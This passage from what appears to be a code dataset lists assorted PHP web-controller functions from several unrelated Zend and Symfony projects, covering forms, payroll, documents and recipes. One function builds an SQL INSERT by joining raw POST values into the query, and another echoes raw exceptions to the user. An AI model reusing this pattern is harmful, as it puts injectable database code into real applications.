$this->redirect()->toUrl($this->getRequest()->getBaseUrl().$this->lin.'o/'.$data->id.\".\".$data->id2);\n } \n }else{ \n if ($id > 0) // Cuando ya hay un registro asociado\n {\n $u=new CargosA($this->dbAdapter); // ---------------------------------------------------------- 4 FUNCION DENTRO DEL MODELO (C) \n //$datos = $u->getRegistroId($id);\n } \n } \n $valores=array\n (\n \"titulo\" => $this->tfor,\n \"form\" => $form,\n \"datos\" => $datos, \n 'url' => $this->getRequest()->getBaseUrl(),\n 'id' => $id,\n 'idCar' => $idCar,\n \"ttablas\" => 'Aspecto, Item, Opciones',\n \"lin\" => $this->lin\n ); \n return new ViewModel($valores); \n }", "public function rolAction()\r\n {\r\n \r\n $objGrupo = new clGrupoRol();\r\n //$objConsulGrupo = new clGrupoRol();\r\n \r\n \r\n $objGrupo->setCoTipoRol(5);\r\n $objGrupo->setTxDescripcion('Prueba con formulario');\r\n \r\n //$em = $this->getDoctrine()->getManager();\r\n //$em->persist($objGrupo);\r\n //$em->flush(); \r\n \r\n // CODIGO OBTENER INFORMACION CON DOCTRINE2\r\n \r\n //$objConsulGrupo = $em->getRepository('DsagacoBundle:clGrupoRol')->find(5);\r\n \r\n //return $this->render('AdminBundle:Default:pgRol.html.twig',array('visRol' => $objConsulGrupo)); \r\n \r\n //CREAR FORMULARIO\r\n // crea una task y le asigna algunos datos ficticios para este ejemplo\r\n //$task = new Task();\r\n //$task->setTask('Write a blog post');\r\n //$task->setDueDate(new \\DateTime('tomorrow'));\r\n \r\n $form = $this->createFormBuilder($objGrupo)\r\n ->add('CoTipoRol', 'text', array('attr' => array('help_text' => 'Letters, numbers and underscores are allowed.')))\r\n ->add('TxDescripcion', 'text') \r\n ->add('save', 'submit')\r\n ->getForm();\r\n \r\n return $this->render('AdminBundle:Default:pgRol.html.twig', array(\r\n 'form' => $form->createView(),\r\n ));\r\n }", "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n $ordenLN = new OrdenLN($em);\n\n $ordenes = $ordenLN->obtenerSinTerminar();\n $usuarios = $em->getRepository('AppBundle:Usuario')->findBy(array(), array('nombre'=>'ASC'));\n $clientes = $em->getRepository('AppBundle:Cliente')->findBy(array(), array('razonsocial'=>'ASC'));\n $tipos = $em->getRepository('AppBundle:OrdenTipo')->findAll();\n $maquinas = $em->getRepository('AppBundle:Maquina')->findAll();\n $estados = $ordenLN->obtenerEstadosSinTerminar2();\n\n $facturaForms = array();\n foreach ($ordenes as $orden)\n {\n $facturaForm = $this->createFacturaForm($orden);\n array_push($facturaForms, $facturaForm->createView());\n }\n\n $cobrarForms = array();\n foreach ($ordenes as $orden)\n {\n $cobrarForm = $this->createCobrarForm($orden);\n array_push($cobrarForms, $cobrarForm->createView());\n }\n\n $deleteForms = array();\n foreach ($ordenes as $orden)\n {\n $deleteForm = $this->createDeleteForm($orden);\n array_push($deleteForms, $deleteForm->createView());\n }\n\n $clonarForms = array();\n foreach ($ordenes as $orden)\n {\n $clonarForm = $this->createClonarForm('orden_clonar', $orden);\n array_push($clonarForms, $clonarForm->createView());\n }\n\n return $this->render('orden/index.html.twig', array(\n 'ordenes' => $ordenes,\n 'usuarios' => $usuarios,\n 'clientes' => $clientes,\n 'estados' => $estados,\n 'tipos' => $tipos,\n 'maquinas' => $maquinas,\n 'facturaForms' => $facturaForms,\n 'cobrarForms' => $cobrarForms,\n 'deleteForms' => $deleteForms,\n 'clonarForms' => $clonarForms\n ));\n }", "public function editAction($id,Request $request){\n \n //création de l'objet pavion\n $pavion = new Pavion();\n //on recupère l'objet pavion à editer\n $pavion = $this->getDoctrine()\n ->getManager()\n ->getRepository(\"SMBLoyerBundle:Pavion\")\n ->find($id);\n \n //si nous avons une requête ajax, elle sera traité ici\n if($request->isXmlHttpRequest()){\n //on recupère le type de la requete\n $requete = $request->request->get('requete');\n //si on veut afficher le formulaire de modification\n if($requete == \"affichage\"){\n //création du formulaire de modification d'un pavion\n $form = $this->get('form.factory')->create(new PavionType(),$pavion);\n return $this->render(\"SMBLoyerBundle:Pavion:edit.html.twig\",array(\n 'id' => $id,\n 'form' => $form->createView()\n ));\n }\n else{\n //si on veut modifier un pavion\n if($requete == \"modification\"){\n $nom_pavion = $request->request->get('nom_pavion');\n $pavion->setLibelle($nom_pavion);\n \n $em = $this->getDoctrine()\n ->getManager();\n $em->flush(); \n\n //on envoie la liste des pavions\n $listPavions = Pavion::listPavions($this);\n\n return $this->render(\"SMBLoyerBundle:Pavion:index.html.twig\",array(\n 'listPavions' => $listPavions\n )); \n }\n }\n }\n else{\n throw new Exception(\"Pas de Requete envoyée!\",1);\n }\n\t}", "public function listAction()\n {\n $form = new Formulario(\"form\");\n $id = (int) $this->params()->fromRoute('id', 0);\n $form->get(\"id\")->setAttribute(\"value\",$id);\n $form->get(\"numero\")->setAttribute(\"value\",0);\n $form->get(\"check2\")->setAttribute(\"value\",1);\n if($this->getRequest()->isPost()) \n {\n $request = $this->getRequest();\n if ($request->isPost()) {\n // Zona de validacion del fomrulario --------------------\n $album = new ValFormulario();\n $form->setInputFilter($album->getInputFilter()); \n $form->setData($request->getPost()); \n $form->setValidationGroup('numero'); // ------------------------------------- 2 CAMPOS A VALDIAR DEL FORMULARIO (C) \n // Fin validacion de formulario ---------------------------\n if ($form->isValid()) {\n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $u = new Retefuente($this->dbAdapter);// ------------------------------------------------- 3 FUNCION DENTRO DEL MODELO (C) \n $data = $this->request->getPost();\n $id = $u->actRegistro($data,$id); // Trae el ultimo id de insercion en nuevo registro \n // Agregar a los tipos de conceptos que afecta\n $f = new Retefuenten($this->dbAdapter);\n foreach ($data->idTnomm as $dato){\n $idTnom = $dato[0]; \n $f->actRegistro($idTnom,$id); \n } \n return $this->redirect()->toUrl($this->getRequest()->getBaseUrl().$this->lin.'i/'.$data->id);\n // \n } \n }\n } \n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter'); \n $d = New AlbumTable($this->dbAdapter); \n \n $datos = $d->getConnom();// Listado de conceptos\n $arreglo = '';\n foreach ($datos as $dat){\n if ($dat['valor']==1)\n $valor='HORAS'; else $valor='PESOS'; \n $idc=$dat['id'];$nom=$dat['nombre'].' ('.$valor.')';\n $arreglo[$idc]= $nom;\n } \n $form->get(\"tipo\")->setValueOptions($arreglo); \n \n $datos = $d->getEmp(\"\");// Listado de empleados\n $arreglo = '';\n foreach ($datos as $dat){\n $idc=$dat['id'] ; $nom = $dat['CedEmp'].' - '.$dat['nombre'].' '.$dat['apellido'];\n $arreglo[$idc]= $nom;\n } \n $form->get(\"idEmp\")->setValueOptions($arreglo); \n \n $form->get(\"tipo\")->setValueOptions(array( \"1\"=>\"Mensual (Procedimiento 1)\", \"2\"=>\"Anual (Procedimiento 2)\" )); \n \n if($this->getRequest()->isPost()) // Actulizar datos\n {\n $request = $this->getRequest();\n if ($request->isPost()) {\n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $d = new AlbumTable($this->dbAdapter);// ------------------------------------------------- 3 FUNCION DENTRO DEL MODELO (C) \n $data = $this->request->getPost();\t\t\t\t\n $d->modGeneral(\"insert into a_empleados_rete (idEmp, tipo) values(\".$data->idEmp.\",\".$data->tipo.\" )\"); \n\n \n } \n } \n\n $valores=array\n (\n \"titulo\" => 'Empleados con retención en la fuente ',\n \"datos\" => $d->getGeneral(\"select a.id, a.porcentaje, case when a.tipo=2 \n then 'Anual (Procedimiento 2)' else 'Mensual (Procedimiento 1)' end as tipo,\n b.CedEmp, b.nombre, b.apellido, sum( c.id ) as numItem \n from a_empleados_rete a \n inner join a_empleados b on b.id = a.idEmp\n left join a_empleados_rete_d c on c.idEret = a.id \n group by a.id\"),// Listado de formularios \n \"ttablas\" => $this->ttab,\n 'url' => $this->getRequest()->getBaseUrl(),\n \"form\" => $form,\n \"lin\" => $this->lin\n ); \n return new ViewModel($valores); \n }", "public function Crud(){\n $pvd = new tutoria();\n\n //Se obtienen los datos del tutoria a editar.\n if(isset($_REQUEST['persona_id'])){\n $pvd = $this->model->Obtener($_REQUEST['persona_id']);\n }\n\n //Llamado de las vistas.\n require_once '../Vista/Tutoria/editar-tutorias.php';\n\t}", "public function listoaAction() \n { \n // valores iniciales formulario (C)\n $id = (int) $this->params()->fromRoute('id', 0); \n if($this->getRequest()->isPost()) // Actulizar datos\n {\n $request = $this->getRequest();\n $data = $this->request->getPost();\n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $u=new tipdocontrolo($this->dbAdapter); // ---------------------------------------------------------- 5 FUNCION DENTRO DEL MODELO (C) \n $u->actRegistro($data); \n }\n $view = new ViewModel(); \n $this->layout('layout/blancoC'); // Layout del login\n return $view; \n //return $this->redirect()->toUrl($this->getRequest()->getBaseUrl().$this->lin);\n\n }", "public function showAction()\n {\n \n //Vérification de l'existance des données de l'entreprise\n \n $em = $this->getDoctrine()->getManager();\n $user_connected = $this->getUser();\n $entity = $em->getRepository('KbhGestionCongesBundle:Entreprise')->findAll();\n $cp= count($entity);\n \n if($cp != 0){\n $id=1;\n \n // Information de l'entreprise et formulaire\n $entity = $em->getRepository('KbhGestionCongesBundle:Entreprise')->find($id);\n $editForm = $this->createEditForm($entity);\n \n //Fériés et formulaire\n $feries = $em->getRepository('KbhGestionCongesBundle:Feries')->findAll();\n $new_feries = new Feries();\n $feriesForm = $this->createFeriesForm($new_feries);\n \n //ParamPermissions et formulaire\n $Permission = $em->getRepository('KbhGestionCongesBundle:Parampermissions')->findAll();\n $new_permission = new Parampermissions();\n $PermissionForm = $this->createPermissionForm($new_permission);\n \n //ParamCalculDroit\n $calculDroit = $em->getRepository('KbhGestionCongesBundle:Paramcalculsdroits')->find($id);\n $CalculDroitForm = $this->EditParamCalDroitForm($calculDroit);\n \n }\n \n if (in_array(\"ROLE_ADMIN\", $user_connected->getRoles())) {\n return $this->render('KbhGestionCongesBundle:Admin\\Entreprise:show.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'feriesForm' => $feriesForm->createView(),\n 'permissionForm' => $PermissionForm->createView(),\n 'edit_calculDroitForm' => $CalculDroitForm->createView(),\n 'feries' => $feries,\n 'param_permission' => $Permission,\n ));\n }\n if (in_array(\"ROLE_SUPER_ADMIN\", $user_connected->getRoles())) {\n return $this->render('KbhGestionCongesBundle:Super-Admin\\Entreprise:show.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'feriesForm' => $feriesForm->createView(),\n 'permissionForm' => $PermissionForm->createView(),\n 'edit_calculDroitForm' => $CalculDroitForm->createView(),\n 'feries' => $feries,\n 'param_permission' => $Permission,\n ));\n }\n }", "public function listiAction()\n {\n $form = new Formulario(\"form\");\n $id = (int) $this->params()->fromRoute('id', 0);\n $form->get(\"id\")->setAttribute(\"value\",$id); \n \n if($this->getRequest()->isPost()) \n {\n $request = $this->getRequest();\n if ($request->isPost()) {\n // Zona de validacion del fomrulario --------------------\n $album = new ValFormulario();\n $form->setInputFilter($album->getInputFilter()); \n $form->setData($request->getPost()); \n $form->setValidationGroup('nombre'); // ------------------------------------- 2 CAMPOS A VALDIAR DEL FORMULARIO (C) \n // Fin validacion de formulario ---------------------------\n if ($form->isValid()) {\n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $u = new Lcheqi($this->dbAdapter);// ------------------------------------------------- 3 FUNCION DENTRO DEL MODELO (C) \n $data = $this->request->getPost();\n $u->actRegistro($data,$id);\n return $this->redirect()->toUrl($this->getRequest()->getBaseUrl().$this->lin);\n }\n }\n } \n // $form->get(\"id\")->setAttribute(\"value\",\"$id\"); \n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $u = New AlbumTable($this->dbAdapter); // ---------------------------------------------------------- 1 FUNCION DENTRO DEL MODELO (C)\n $con=\"Select idNasp, nombre from t_cargos where id=\".$id;// Consula personalizada\n $resul=$u->getGeneral($con);\n foreach ($resul as $dat){\n $id2 = $dat['idNasp'];\n }\n // ---\n $valores=array\n (\n \"titulo\" => 'Ítems de aspectos del cargo '.$dat['nombre'],\n \"datos\" => $u->getAsp(\"where idNasp=$id2\"), \n \"ttablas\" => 'Aspectos, tipo, Opciones',\n 'url' => $this->getRequest()->getBaseUrl(),\n \"form\" => $form,\n \"idCar\" => $id,\n \"lin\" => $this->lin\n ); \n return new ViewModel($valores); \n }", "public function editAction()\r\n {\r\n }", "public function ActeurAction($acteurid){\n #Attention, nom entre parenthèses doit etre pareil que dans routing\n \n $em = $this -> getDoctrine() -> getManager();\n\n $acteur = $em -> getRepository('TroiswaPublicBundle:Acteur') -> find($acteurid); //Find pour récupérer un seul élément, et prend en argument l'id\n\n return $this->render('TroiswaPublicBundle:Acteur:acteur.html.twig', array('acteur' => $acteur ));\n #Envoyer des infos dans la vue - tableau associatif\n\n //die(Debug::dump($film));\n\n}", "public function updateAction(Request $request, $id)\n{\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('gemaBundle:Productosprogramas')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Productosprogramas entity.');\n }\n\n $deleteForm = $this->createDeleteForm($id);\n $editForm = $this->createEditForm($entity);\n $editForm->handleRequest($request);\n $accion = ' ';\n $this->get(\"gema.utiles\")->traza($accion);\n $em->flush();\n\n \n \n\n \n return $this->redirect($this->generateUrl('admin_productosprogramas_edit', array('id' => $id)));\n \n}", "public function listidAction() \n {\n $id = (int) $this->params()->fromRoute('id', 0);\n if ($id > 0)\n {\n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $d = New AlbumTable($this->dbAdapter); \n // bucar id de parametro\n $datos = $d->getGeneral1(\"select idTdoc from t_tip_docontrol_i where id=\".$id);// Listado de formularios \n $d->modGeneral(\"delete from t_tip_docontrol_i where id=\".$id);// Listado de formularios \n return $this->redirect()->toUrl($this->getRequest()->getBaseUrl().$this->lin.'i/'.$datos['idTdoc']);\n } \n }", "public function dodajformAction()\n {\n $this->params->tryb='Dodawanie';\n $this->template='admin/rabat/form.html.twig';\n $this->params->rabaty=$this->model->lista();\n $this->params->samochody=$this->loadModel('Samochod')->lista();\n }", "public function execute() {\n\t\t$userLogin = null;\n\t\t$userIsAuth = false;\n\t\t$userLogin = $this->_session->userLogin;\n\t\t$userIsAuth = $this->_session->userIsAuth;\n\t\tif(empty($userLogin) || ($userIsAuth == false)) {\n\t\t\tthrow new ControllerException('Brak dostepu');\n\t\t}\t\t\t\n\t\t\n\t\t$baseUrl = $this->_request->getBaseUrl();\n\t\t$flashNotice = $this->_session->getFlashData('notice');\n\t\t$currentPageNumber = $this->_request->get('page');\n\t\t\n\t\t//pobieranie danych z modelu\n\t\t$resourceFieldsNames = $this->_resourceMapper->getFieldsNames();\n\t\t$resourceRelationsNames = $this->_resourceMapper->getRelationsNames();\n\t\t$groupFieldsNames = $this->_groupMapper->getFieldsNames();\n\t\t\n\t\t$countAll = $this->_resourceMapper->countAll();\n\t\t$this->_paginator->setLink($baseUrl.'/admin/resource/list/'); \n\t\t$this->_paginator->setNumberOfRecords($countAll);\n\t\t$this->_paginator->setCurrentPageNumber($currentPageNumber); \n\t\t$resources = $this->_resourceMapper->getAllResources($this->_paginator->getLimit(), $this->_paginator->getOffset());\n\t\t\n\t\t//przygotowanie tablicy z lista zasobow\n\t\t$resourcesToView = array();\n\t\tforeach($resources AS $resource) {\n\t\t\t$r = array();\n\t\t\t$r = $resource->toArray($resourceFieldsNames);\n\t\t\t$groups = $resource->groups->getCollection();\n\t\t\t$groupsToView = array();\n\t\t\tforeach($groups AS $group) {\n\t\t\t\t$g = array();\n\t\t\t\t$g = $group->toArray($groupFieldsNames);\n\t\t\t\t$groupsToView[] = $g;\n\t\t\t}\n\t\t\t$r['groups'] = $groupsToView;\n\t\t\t$resourcesToView[] = $r;\n\t\t}\n\t\t\n\t\t//przygotowanie dodatkowych danych dla widoku\n\t\t$links = array('view'=>array($this->_i18n->translate('view'), $baseUrl.'/admin/resource/view/id/'), 'edit'=>array($this->_i18n->translate('edit'), $baseUrl.'/admin/resource/editForm/id/'), 'delete'=>array($this->_i18n->translate('delete'), $baseUrl.'/admin/resource/delete/id/'));\n\t\t$resourceTableHeadersNames = array_map(array($this->_i18n, 'translate'), $resourceFieldsNames);\n\t\t\t\t\n\t\t//dolaczenie danych do widoku\n\t\t$this->_view->assign('resources', $resourcesToView);\n\t\t$this->_view->assign('flashNotice', $flashNotice);\n\t\t$this->_view->assign('links', $links);\n\t\t$this->_view->assign('paginator', $this->_paginator->getPaginator());\t\t\t\n\t\t$this->_view->assign('resourceTableHeadersNames', $resourceTableHeadersNames);\n\t\t$this->_view->assign('groupsString', $this->_i18n->translate($resourceRelationsNames['groups']));\t\t\n\t\t$this->_view->assign('resourceListTitle', $this->_i18n->translate('Resources list'));\n\t\t$this->_view->assign('noResourceMessage', $this->_i18n->translate('No resources in data base'));\t\t\n\t\t$this->_view->assign('noGroupMessage', $this->_i18n->translate('Resource has no group'));\n\t\t\n\t}", "abstract function get_crud_service();", "public function listaAction() \n { \n \n $form = new Formulario(\"form\");\n // valores iniciales formulario (C)\n $id = (int) $this->params()->fromRoute('id', 0);\n $form->get(\"id\")->setAttribute(\"value\",$id); \n // Niveles de aspectos\n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $o=new \\Nomina\\Model\\Entity\\Turnos($this->dbAdapter);\n $arreglo='';\n $turnos = $o->getRegistro(); \n foreach ($turnos as $dat){\n $idc=$dat['id'];$nom=$dat['codigo'];\n $arreglo[$idc]= $nom;\n } \n $form->get(\"tipo\")->setValueOptions($arreglo); \n $form->get(\"tipo1\")->setValueOptions($arreglo); \n $form->get(\"tipo2\")->setValueOptions($arreglo); \n $form->get(\"idCar\")->setValueOptions($arreglo); \n \n $d = new AlbumTable($this->dbAdapter);\n \n $valores=array\n (\n \"titulo\" => $this->tfor,\n \"form\" => $form,\n 'url' => $this->getRequest()->getBaseUrl(),\n 'id' => $id,\n 'datos' => $d->getGeneral1(\"select * from n_turnos_g where id =\".$id), \n \"lin\" => $this->lin\n ); \n // ------------------------ Fin valores del formulario \n \n if($this->getRequest()->isPost()) // Actulizar datos\n {\n $request = $this->getRequest();\n if ($request->isPost()) {\n// print_r($_POST);\n \n // Zona de validacion del fomrulario --------------------\n $album = new ValFormulario();\n $form->setInputFilter($album->getInputFilter()); \n $form->setData($request->getPost()); \n $form->setValidationGroup('nombre'); // ------------------------------------- 2 CAMPOS A VALDIAR DEL FORMULARIO (C) \n // Fin validacion de formulario ---------------------------\n if ($form->isValid()) {\n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $u = new TurnosG($this->dbAdapter);// ------------------------------------------------- 3 FUNCION DENTRO DEL MODELO (C) \n $data = $this->request->getPost();\n // INICIO DE TRANSACCIONES\n $connection = null;\n try \n {\n $connection = $this->dbAdapter->getDriver()->getConnection();\n $connection->beginTransaction(); \n\n $id = $u->actRegistro($data);\n $d = new AlbumTable($this->dbAdapter);// ------------------------------------------------- 3 FUNCION DENTRO DEL MODELO (C) \n $connection->commit();\n return $this->redirect()->toUrl($this->getRequest()->getBaseUrl().$this->lin);// El 1 es para mostrar mensaje de guardado\n }// Fin try casth \n catch (\\Exception $e) \n {\n if ($connection instanceof \\Zend\\Db\\Adapter\\Driver\\ConnectionInterface) \n {\n $connection->rollback();\n echo $e;\n } \n /* Other error handling */\n }// FIN TRANSACCION // return $this->redirect()->toUrl($this->getRequest()->getBaseUrl().$this->lin);\n }\n }\n //exit(); \n return new ViewModel($valores);\n \n }else{ \n if ($id > 0) // Cuando ya hay un registro asociado\n {\n $this->dbAdapter=$this->getServiceLocator()->get('Zend\\Db\\Adapter');\n $u=new TurnosG($this->dbAdapter); // ---------------------------------------------------------- 4 FUNCION DENTRO DEL MODELO (C) \n $datos = $u->getRegistroId($id);\n $n = $datos['nombre'];\n // Valores guardados\n $form->get(\"nombre\")->setAttribute(\"value\",\"$n\"); \n \n \n } \n return new ViewModel($valores);\n }\n }", "public function editarinternoAction()\n {\n $id = (int)$this->_request->getParam('id', 0); /* El Id del registro que se va a editar */\n $tipo = (int)$this->_request->getParam('tipo', 1); /* si no llega el parámetro sigifica que es Documento Personal (1)*/\n\n /* Traigo el formulario*/\n $form = $this->_form->getFrmEditaInterno($tipo);\n \n if($tipo == 1){ /* si es documento personal */\n $form->setAction($this->view->baseUrlController . '/editarinterno/id/'. $id .'/');\n } else { /* Es documento jefatural */\n $form->setAction($this->view->baseUrlController . '/editarinterno/id/'. $id .'/tipo/0');\n }\n \n\n if ($this->_request->isPost()) { /* Si se ha submiteado el formulario, se procede a guardar los datos */\n \n /* Como recibo el Id del Movimiento, entonces obtengo el id de la tabla Documento para poder editarlo */\n $objMovimiento = new Gidoc_Model_MovimientoMapper();\n $movimiento = $objMovimiento->getById($id);\n $id = $movimiento->documento_id;\n \n /* Recibo los datos del formulario por _POST */\n $formData = $this->_request->getPost();\n\n /* Lleno el formulario con los datos recibidos por _POST */\n $form->populate($formData); \n\n /* Verifico valores que llegan desde el formulario */\n $referencia = $form->referencia->getValue();\n if ($referencia == ''){\n $referencia = null;\n }\n\n $expediente_id = $form->expediente_id->getValue();\n if ($expediente_id == ''){\n $expediente_id = 0;\n }\n \n /* Recibo datos para la tabla destinos */\n $dependencia_iddestino = $form->dependencia_iddestino->getValue();\n \n if($dependencia_iddestino) {\n \n $listNameOptions = $form->getElement('dependencia_iddestino')->getMultiOptions();\n $paraDestino = $listNameOptions[$form->getValue('dependencia_iddestino')]; \n \n } else {\n \n $dependencia_iddestino = null;\n $paraDestino = $form->para_destino->getValue(); \n }\n \n $idDestino = $form->id_destino->getValue(); \n $cargoDestino = $form->cargo_destino->getValue();\n $dependenciaDestino = $form->dependencia_destino->getValue();\n \n /* Fin de Recibo datos... */\n \n if($tipo == 1){ /* si es documento personal */\n \n $data = array('id' => $id,\n 'dependencia_id' => $form->dependencia_id->getValue(), \n 'tipo_documento_id' => $form->tipo_documento_id->getValue(),\n 'expediente_id' => $expediente_id, \n 'numero' => $form->numero->getValue(), \n 'asunto' => $form->asunto->getValue(),\n 'referencia' => $referencia,\n 'cuerpo' => $form->cuerpo->getValue()\n );\n\n } else { /* Si es documento jefatural */\n\n $data = array('id' => $id,\n 'dependencia_id' => $form->dependencia_id->getValue(), /* queda en proceso en la oficina donde está esperando ser firmado */ \n 'tipo_documento_id' => $form->tipo_documento_id->getValue(),\n 'expediente_id' => $expediente_id, \n 'asunto' => $form->asunto->getValue(),\n 'referencia' => $referencia,\n 'cuerpo' => $form->cuerpo->getValue()\n );\n \n }\n \n try {\n /* Actualizo mi objeto */\n $this->_modelo->save($data);\n \n /* Guardo los datos correspondientes para la tabla destinos */\n $modelDestino = new Gidoc_Model_DestinoMapper();\n\n /* Grabo el destino */\n $dataDestino = array('id' => $idDestino,\n 'dependencia_iddestino' => $dependencia_iddestino, \n 'para' => $paraDestino,\n 'cargo' => $cargoDestino,\n 'dependencia' => $dependenciaDestino\n );\n \n $modelDestino->save($dataDestino);\n \n /**/\n\n } catch(Exception $ex) {\n // throw new Exception(\"Error al Editar el registro\". $ex->getMessage()); \n \n /* Para mostrar el error en el Flash Messenger y mantener los datos del formulario */\n $texto = $ex->getMessage();\n \n $texto .= \"\n <div style='width:100%; text-align: center;' >\n <a href='#' onclick=$('#msgFlash').fadeOut('slow') >Cerrar</a>\n </div>\n \";\n \n $this->_helper->FlashMessenger(array('error' => $texto)); \n \n $form->populate($formData);\n $this->view->tipo = $tipo; \n $this->view->form = $form;\n return $this->render();\n /* */\n }\n \n $this->_helper->redirector('poratender', 'documentos', 'gidoc'); \n \n } else { /* Se llama al formulario */\n \n /* Como recibo el Id del Movimiento, entonces obtengo el id de la tabla Documento para poder editarlo */\n $objMovimiento = new Gidoc_Model_MovimientoMapper();\n $movimiento = $objMovimiento->getById($id);\n $id = $movimiento->documento_id;\n \n /* Obtengo el objeto de la tabla Documento */\n $obj = $this->_modelo->getById($id);\n\n /* Paso los campos del objeto a un array */\n $arrayData = $obj->toArray();\n\n /* Obtengo el objeto de la tabla Destinos */\n $modelDestino = new Gidoc_Model_DestinoMapper();\n $objDestino = $modelDestino->getByDocumentoId($id);\n \n /* Paso los campos al arrayData */\n $arrayData['id_destino'] = $objDestino->id;\n $arrayData['dependencia_iddestino'] = \"$objDestino->dependencia_iddestino\"; \n $arrayData['para_destino'] = $objDestino->para;\n $arrayData['cargo_destino'] = $objDestino->cargo;\n $arrayData['dependencia_destino'] = $objDestino->dependencia;\n \n /* Creo variable para poder ocultar el botón guardar, si el que edita no es el dueño del registro */\n $this->view->usua_idregistro = $arrayData['usuario_id'];\n\n /* Variables para poder subir archivos */\n $this->view->id = $id;\n /* Para el Grid archivos */\n /* Configuración del jqgrid */\n $this->view->archivos_colNames = \"'Archivo',''\";\n $this->view->archivos_colModel = \"{name:'descripcion', index:'descripcion', width:50},\n {name:'opcion', index:'opcion', width:10}\";\n $this->view->archivos_sortName = \"descripcion\"; /* Nombre del campo de la tabla por la que debe ser ordenado al cargar los datos. Generalmente es el pk de la tabla */\n \n /* Fin: Variables para poder subir archivos */\n \n /* LLeno los campos del formulario con los datos del array */\n $form->populate($arrayData);\n $this->view->tipo = $tipo;\n $this->view->form = $form;\n $this->view->documento = $obj; \n $this->render('editarinterno');\n }\n }", "public function execute() {\n\t\t$userLogin = null;\n\t\t$userIsAuth = false;\n\t\t$userLogin = $this->_session->userLogin;\n\t\t$userIsAuth = $this->_session->userIsAuth;\n\t\tif(empty($userLogin) || ($userIsAuth == false)) {\n\t\t\tthrow new ControllerException('Brak dostepu');\n\t\t}\t\t\t\n\t\t\n\t\t$baseUrl = $this->_request->getBaseUrl();\n\t\t$values = $this->_session->getFlashData('recipeEditFormValues');\n\t\t$errors = $this->_session->getFlashData('recipeEditErrors'); //przepuscic przez i18n\n\t\t$flashError = $this->_session->getFlashData('error');\t\t\t\t\n\t\tif(!is_array($values)) {\n\t\t\t$recipeId = (int)$this->_request->get('id');\t\t\n\t\t}\n\t\telse {\n\t\t\t$recipeId = (int)$values['id'];\n\t\t}\n\t\tif(($recipeId == '') || ($recipeId == null)) {\n\t\t\tthrow new ControllerException('Brak identyfikatora przepisu');\n\t\t}\n\t\t\n\t\t//pobieranie danych z modelu\n\t\t$recipeFieldsNames = $this->_recipeMapper->getFieldsNames();\n\t\t$recipeRelationsNames = $this->_recipeMapper->getRelationsNames();\n\t\t$categoryFieldsNames = $this->_categoryMapper->getFieldsNames();\n\t\t$ingredientFieldsNames = $this->_ingredientMapper->getFieldsNames();\n\t\t$unitFieldsNames = $this->_unitMapper->getFieldsNames();\n\t\t\n\t\t//pobieranie danych z modelu, przygotowanie tablicy z danymi kategorii, skladnikow do przepisu i jednostek\n\t\t$categories = $this->_categoryMapper->getAll();\n\t\t$categoriesToView = array();\n\t\tforeach($categories AS $category) {\n\t\t\t$ca = array();\n\t\t\t$ca = $category->toArray($categoryFieldsNames);\n\t\t\t$ca = array_map('htmlspecialchars', $ca);\n\t\t\t$categoriesToView[] = $ca;\n\t\t}\n\t\t$ingredients = $this->_ingredientMapper->getAll();\n\t\t$ingredientsToView = array();\n\t\tforeach($ingredients AS $ingredient) {\n\t\t\t$in = array();\n\t\t\t$in = $ingredient->toArray($ingredientFieldsNames);\n\t\t\t$in = array_map('htmlspecialchars', $in);\n\t\t\t$ingredientsToView[] = $in;\n\t\t}\t\t\t\t\n\t\t$units = $this->_unitMapper->getAll();\n\t\t$unitsToView = array();\n\t\tforeach($units AS $unit) {\n\t\t\t$un = array();\n\t\t\t$un = $unit->toArray($unitFieldsNames);\n\t\t\t$un = array_map('htmlspecialchars', $un);\n\t\t\t$unitsToView[] = $un;\n\t\t}\t\t\t\t\n\t\t\n\t\t//pobieranie danych z modelu, przygotowanie tablicy z danymi przepisu, jego kategorii i skladnikow\n\t\t$recipeToView = array();\n\t\tif(!is_array($values)) {\n\t\t\t$recipesCollection = $this->_recipeMapper->getById($recipeId);\n\t\t\tif(count($recipesCollection) != 1) {\n\t\t\t\tthrow new ControllerException('Przepis nie istnieje w bazie danych');\n\t\t\t}\n\t\t\t$recipeObject = $recipesCollection[0];\n\t\t\t$recipeToView = $recipeObject->toArray($recipeFieldsNames);\n\t\t\t$recipeToView = array_map('htmlspecialchars', $recipeToView);\n\t\t\t\n\t\t\t$categoriesCollection = $recipeObject->categories->getCollection();\n\t\t\t$category = $categoriesCollection[0];\n\t\t\t$recipeToView['cats'] = htmlspecialchars($category->id);\t\t\t\n\t\t\t$itemsCollection = $recipeObject->items->getCollection();\n\t\t\t$items = array();\n\t\t\t$i = 0;\n\t\t\tforeach($itemsCollection AS $item) {\n\t\t\t\t$items[$i]['amount'] = htmlspecialchars($item->amount);\n\t\t\t\t$ingredientsCollection = $item->ingredients->getCollection(); \n\t\t\t\t$ingredient = $ingredientsCollection[0];\n\t\t\t\t$ingredientArr = $ingredient->toArray($ingredientFieldsNames);\n\t\t\t\t$items[$i]['ingredients'] = htmlspecialchars($ingredientArr['id']);\n\t\t\t\t$unitsCollection = $item->units->getCollection();\n\t\t\t\tif(count($unitsCollection) > 0) {\n\t\t\t\t\t$unit = $unitsCollection[0];\n\t\t\t\t\t$unitArr = $unit->toArray($unitFieldsNames); \n\t\t\t\t\t$items[$i]['units'] = htmlspecialchars($unitArr['id']);\n\t\t\t\t}\n\t\t\t\t$i++;\n\t\t\t}\n\t\t\t$itemsCnt = count($items); //liczba skladnikow, chce aby bylo 15\n\t\t\twhile($itemsCnt < 15) {\n\t\t\t\t$items[] = 